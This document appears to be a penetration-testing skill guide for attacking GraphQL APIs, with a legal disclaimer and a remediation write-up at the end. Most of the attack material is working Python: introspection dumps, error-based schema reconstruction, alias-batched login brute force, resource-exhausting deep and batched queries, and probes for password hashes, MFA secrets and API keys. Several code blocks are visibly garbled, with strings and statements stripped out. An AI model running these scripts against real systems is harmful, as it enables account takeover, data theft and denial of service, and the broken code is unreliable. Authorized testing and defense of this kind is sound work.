Performing GraphQL Introspection Attack
When to Use
- Testing GraphQL endpoints for exposed introspection that reveals the complete API schema
- Mapping the attack surface of a GraphQL API to identify sensitive queries, mutations, and types
- Testing for GraphQL-specific vulnerabilities including query depth abuse, batching attacks, and field-level authorization
- Assessing GraphQL implementations where introspection is disabled but schema can be reconstructed through error messages
- Evaluating defenses against resource exhaustion through deeply nested or complex GraphQL queries
Do not use without written authorization. Schema extraction and query abuse testing can impact service availability.
Most Often Missed & How to Confirm
- Schema without introspection: when
__schema is blocked, reconstruct it via field-suggestion errors ("did you mean") using Clairvoyance, and try GET/POST and ?query= variants.
- Mutations over queries: mutations often have weaker authorization - enumerate
deleteUser/updateRole/export* and test them, not just read queries.
- Subscriptions: GraphQL-over-WebSocket may expose data with different (or no) authentication.
- Batching/alias abuse: alias-batched login mutations bypass per-request rate limits.
- Sensitive fields: probe
passwordHash/mfaSecret/apiKey/internalConfig directly even if they are not in the docs.
How to confirm a hit (avoid false negatives): introspection is confirmed when __schema returns types without an auth error; a sensitive-field exposure is confirmed when the field returns actual data (not null/error) for an account that should not see it. Don't conclude negative until you've tried: error-based reconstruction, GET-method introspection, mutations and subscriptions, and field-suggestion harvesting.
Prerequisites
- Written authorization specifying the GraphQL endpoint and testing scope
- Burp Suite Professional with InQL extension (v6.1+) for automated schema analysis
- Python 3.10+ with
requests and gql libraries
- GraphQL Voyager or GraphQL Playground for schema visualization
- Clairvoyance tool for schema reconstruction when introspection is disabled
- Wordlists for GraphQL field and type name brute-forcing
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: GraphQL Endpoint Discovery
import requests
import json
TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}
GRAPHQL_PATHS = [
"/graphql", "/graphql/", "/gql", "/query",
"/api/graphql", "/api/gql", "/api/v1/graphql",
"/v1/graphql", "/v2/graphql",
"/graphql/console", "/graphql/playground",
"/graphiql", "/altair", "/explorer",
"/graph", "/api/graph",
]
for path in GRAPHQL_PATHS:
query = {"query": "{ __typename }"}
try:
resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL endpoint: {TARGET}{path}")
print(f" Response: {resp.text[:200]}")
requests.exceptions.RequestException:
:
resp = requests.get(, timeout=)
resp.status_code == ( resp.text resp.text):
()
requests.exceptions.RequestException:
Step 2: Full Introspection Query
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}
FULL_INTROSPECTION = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)
if resp.status_code == 200:
schema = resp.json()
if "data" in schema and "__schema" in schema["data"]:
print("[VULNERABLE] Full introspection enabled")
types = schema["data"]["__schema"]["types"]
custom_types = [t for t in types if not t[].startswith()]
queries = schema[][][]
mutations = schema[][].get()
()
()
()
()
t custom_types:
t.get():
()
field t[]:
field_type = field[][] field[].get(, {}).get(, )
()
(, ) f:
json.dump(schema, f, indent=)
()
:
()
()
:
()
Step 3: Sensitive Data Identification in Schema
SENSITIVE_INDICATORS = {
"field_names": [
"password", "passwordHash", "secret", "token", "apiKey", "ssn",
"socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
"privateKey", "internalId", "salary", "bankAccount", "taxId",
"mfaSecret", "refreshToken", "sessionId", "debugInfo"
],
"type_names": [
"Admin", "Internal", "Debug", "Secret", "Private",
"SystemConfig", "AuditLog", "PaymentInfo", "Credential"
],
"mutation_names": [
"deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
"createAdmin", "disableMFA", "exportData", "deleteAuditLog",
"updateConfig", "runMigration", "executeQuery"
]
}
if "data" in schema:
print("\n=== Sensitive Schema Analysis ===\n")
t custom_types:
sensitive_type SENSITIVE_INDICATORS[]:
sensitive_type.lower() t[].lower():
()
t.get():
field t[]:
sensitive_field SENSITIVE_INDICATORS[]:
sensitive_field.lower() field[].lower():
()
mutations:
mutation_type = ((t t types t[] == mutations[]), )
mutation_type mutation_type.get():
mutation mutation_type[]:
sensitive_mut SENSITIVE_INDICATORS[]:
sensitive_mut.lower() mutation[].lower():
()
Step 4: Schema Reconstruction When Introspection is Disabled
def bruteforce_field(type_name, field_wordlist):
"""Use GraphQL error messages to discover valid fields."""
discovered_fields = []
for field_name in field_wordlist:
query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
response_text = resp.text.lower()
if "did you mean" in response_text:
import re
suggestions = re.findall(r'"(\w+)"', resp.text)
for s in suggestions:
if s not in discovered_fields:
discovered_fields.append(s)
print(f" [DISCOVERED] {type_name}.{s} (via suggestion)")
elif resp.status_code == 200 and "errors" not in resp.json():
discovered_fields.append(field_name)
print(f" [VALID] {type_name}.{field_name}")
return discovered_fields
FIELD_WORDLIST = [
"id", "name", "email", "username", , , ,
, , , , , ,
, , , , , ,
, , , , , ,
, , , , ,
, , , , ,
, , , , ,
]
type_name [, , , , , , ]:
()
fields = bruteforce_field(type_name, FIELD_WORDLIST)
Step 5: GraphQL Attack Techniques
def alias_brute_force_login(usernames, password="Password123"):
"""Use GraphQL aliases to send multiple login attempts in one request."""
aliases = []
for i, username in enumerate(usernames[:100]):
aliases.append(f"""
attempt_{i}: login(username: "{username}", password: "{password}") {{
token
user {{ id email }}
}}
""")
query = {"query": "mutation { " + " ".join(aliases) + " }"}
resp = requests.post(GRAPHQL_URL, headers=headers, json=query)
if resp.status_code == 200:
data = resp.json().get("data", {})
for key, value in data.items():
if value and value.get("token"):
print(f"[SUCCESS] {key}: token obtained")
return resp
def generate_deep_query(depth=50):
"""Generate a deeply nested query to test depth limits."""
query = "{ users { friends " * depth
query += "{ id name }" + " } " * depth + " }"
return {"query": query}
deep_query = generate_deep_query()
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=deep_query)
()
resp.status_code == resp.json():
()
():
fields = .join([ i (width)])
{: + fields + }
wide_query = generate_wide_query()
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=wide_query)
()
batch_queries = [
{: },
{: },
{: },
] *
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=batch_queries)
()
circular_query = {
:
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=circular_query)
()
Step 6: Field-Level Authorization Testing
user_token = "Bearer <regular_user_token>"
admin_token_val = "Bearer <admin_token>"
sensitive_queries = [
{
"name": "User PII fields",
"query": '{ users { id email ssn dateOfBirth salary internalNotes } }'
},
{
"name": "Admin mutations",
"query": 'mutation { deleteUser(id: "1002") { success } }'
},
{
"name": "System config",
"query": '{ systemConfig { databaseUrl secretKey apiKeys } }'
},
{
"name": "Audit logs",
"query": '{ auditLogs { action userId ipAddress timestamp } }'
},
]
for sq in sensitive_queries:
resp_user = requests.post(GRAPHQL_URL,
headers={**headers, "Authorization": user_token},
json={"query": sq["query"]})
resp_admin = requests.post(GRAPHQL_URL,
headers={**headers, "Authorization": admin_token_val},
json={"query": sq["query"]})
user_ok = resp_user.status_code == 200 and "errors" not in resp_user.json()
admin_ok = resp_admin.status_code == 200 and "errors" not in resp_admin.json()
if user_ok admin_ok:
()
user_ok admin_ok:
()
user_ok admin_ok:
()
:
()
Key Concepts
| Term | Definition |
|---|
| GraphQL Introspection | Built-in capability to query the schema definition, exposing all types, fields, queries, mutations, and subscriptions available in the API |
| Query Depth Attack | Sending deeply nested queries that cause exponential resolver execution, consuming server resources and potentially causing DoS |
| Alias-Based Batching | Using GraphQL aliases to execute multiple operations in a single request, bypassing per-request rate limiting |
| Schema Reconstruction | Reconstructing the GraphQL schema when introspection is disabled by analyzing error messages and field suggestions |
| Field-Level Authorization | Controlling access to individual fields within a GraphQL type based on the authenticated user's role or permissions |
| Query Complexity Analysis | Calculating the computational cost of a GraphQL query before execution to enforce resource limits |
Tools & Systems
- InQL (Burp Suite Extension): Automated GraphQL introspection, schema analysis, and attack generation with support for schema brute-forcing
- Clairvoyance: Schema reconstruction tool that works even when introspection is disabled, using error-based field discovery
- GraphQL Voyager: Visual schema explorer that generates interactive diagrams from introspection results
- Altair GraphQL Client: Feature-rich GraphQL IDE for crafting and testing queries with authentication support
- graphql-cop: GraphQL security auditor that tests for common misconfigurations including introspection, field suggestions, and query limits
Common Scenarios
Scenario: E-Commerce GraphQL API Security Assessment
Context: An e-commerce platform migrated from REST to GraphQL. The GraphQL endpoint serves the web and mobile frontends. Introspection was left enabled during development and was not disabled for production.
Approach:
- Run full introspection query against
/graphql endpoint - complete schema extracted with 45 types, 120 queries, and 38 mutations
- Identify sensitive types:
AdminUser, PaymentInfo, InternalConfig, AuditLog
- Discover that
User type exposes passwordHash, mfaSecret, and lastLoginIp fields
- Find admin mutations accessible to regular users:
deleteUser, updateRole, exportAllOrders
- Test query depth: no limit enforced, nested query 50 levels deep executes successfully and takes 45 seconds
- Test alias batching: 1000 login attempts in a single request bypass rate limiting
- Test batch queries: array of 500 queries accepted without limit
- Schema reveals internal
InternalConfig type with databaseConnectionString and stripeSecretKey fields
Pitfalls:
- Assuming introspection is the only way to discover the schema (error messages and field suggestions reveal information even when introspection is disabled)
- Not testing mutations which often have weaker authorization than queries
- Missing subscription endpoints that may expose real-time data streams without authentication
- Not testing query complexity limits with realistic payloads that trigger expensive database operations
- Ignoring that GraphQL over WebSocket (subscriptions) may have different authentication requirements
Output Format
## Finding: GraphQL Introspection Enabled with Sensitive Schema Exposure
**ID**: API-GQL-001
**Severity**: High (CVSS 7.5)
**Affected Endpoint**: POST /graphql
**Tools Used**: InQL, Clairvoyance, custom Python scripts
**Description**:
The GraphQL endpoint has introspection enabled in production, exposing
the complete API schema including 45 types, 120 queries, and 38 mutations.
The schema reveals sensitive internal types (AdminUser, PaymentInfo,
InternalConfig) and exposes fields containing password hashes, MFA secrets,
and database connection strings. No query depth or complexity limits are
enforced, enabling denial-of-service through nested queries.
**Schema Highlights**:
- User.passwordHash: bcrypt hash exposed
- User.mfaSecret: TOTP secret exposed (allows MFA bypass)
- InternalConfig.databaseConnectionString: Production DB credentials
- InternalConfig.stripeSecretKey: Payment processing API key
- 12 admin mutations accessible to regular users
**Impact**:
An attacker can extract the complete API schema, identify sensitive
fields, access password hashes and MFA secrets for any user, retrieve
production database credentials, and execute admin-only mutations.
**Remediation**:
1. Disable introspection in production: set introspection to false in the GraphQL server config
2. Implement field-level authorization using GraphQL directives (@auth, @hasRole)
3. Remove sensitive fields from the schema or restrict them with authorization middleware
4. Implement query depth limiting (max 10 levels) and complexity scoring
5. Disable field suggestions in error messages to prevent schema reconstruction
6. Rate limit GraphQL requests per query, not just per HTTP request
